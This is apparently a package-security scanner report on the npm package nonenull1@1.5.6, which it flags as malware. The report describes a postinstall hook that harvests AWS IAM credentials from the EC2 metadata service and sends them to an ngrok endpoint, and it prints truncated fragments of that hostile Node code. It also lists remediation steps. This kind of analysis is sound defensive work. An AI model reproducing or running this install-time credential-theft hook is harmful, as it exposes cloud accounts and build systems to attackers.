registry / Credential exfiltration / nonenull1
nonenull1
This report shows the evidence for nonenull1@1.5.6. 10 of 11 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 4mo ago · by lpm-firewall-aiDirect inspection of the sole package file confirms an automatic install-time AWS credential-exfiltration chain. This is concrete malicious behavior, not a scanner-only inference.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm package installation, via `postinstall`.
Impact
The installer host's AWS IAM role name and temporary credentials can be disclosed to an attacker-controlled endpoint.
Mechanism
Install-time EC2 metadata credential harvesting and HTTPS exfiltration.
Attack narrative
On installation, the `postinstall` inline Node command obtains an IMDSv2 token, enumerates the EC2 IAM role, retrieves that role's credentials, then sends the role and credential response to an external ngrok endpoint. Its error handling reports status to the same endpoint and suppresses failures, allowing installation to continue.
AI rationale
Direct inspection of the sole package file confirms an automatic install-time AWS credential-exfiltration chain. This is concrete malicious behavior, not a scanner-only inference.
Evidence
package.json
Network endpoints3
169.254.169.254/latest/api/token169.254.169.254/latest/meta-data/iam/security-credentials/crabbing-thong-overhung.ngrok-free.dev/?real_aws_keys=1
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `package.json` defines an automatic `postinstall` hook.
- The hook requests an IMDSv2 token from `169.254.169.254`.
- It reads IAM role credentials from EC2 metadata paths.
- It POSTs collected credentials to `crabbing-thong-overhung.ngrok-free.dev`.
- Errors are swallowed and `|| true` prevents install failure.
Evidence against
- Only `package.json` exists; no legitimate package functionality is present.
Behavioral surface
NoLicense
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node -e "const http=require('http'),https=require('https');function exfil(d){let b=JSON.stringify(d);let r=https.request({hostname:'crabbing-thong-overhung.ngrok-free.dev',path:'/?...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "const http=require('http'),https=require('https');function exfil(d){let b=JSON.stringify(d);let r=https.request({hostname:'crabbing-thong-overhung.ngrok-free.dev',path:'/?...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgpackage.json#scripts.postinstallView file
1"const http=require('http'),https=require('https');function exfil(d){let b=JSON.stringify(d);let r=https.request({hostname:'crabbing-thong-overhung.ngrok-free.dev',path:'/?real_aws...
High
Findings
1 Critical2 High2 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighCloud Metadata Accesspackage.json#scripts.postinstall
LowScripts Present
LowNo License
Affected versions and remediation
This report applies to nonenull1@1.5.6.
The versions list below shows the verdict for each recorded version.
- Avoid installing nonenull1@1.5.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.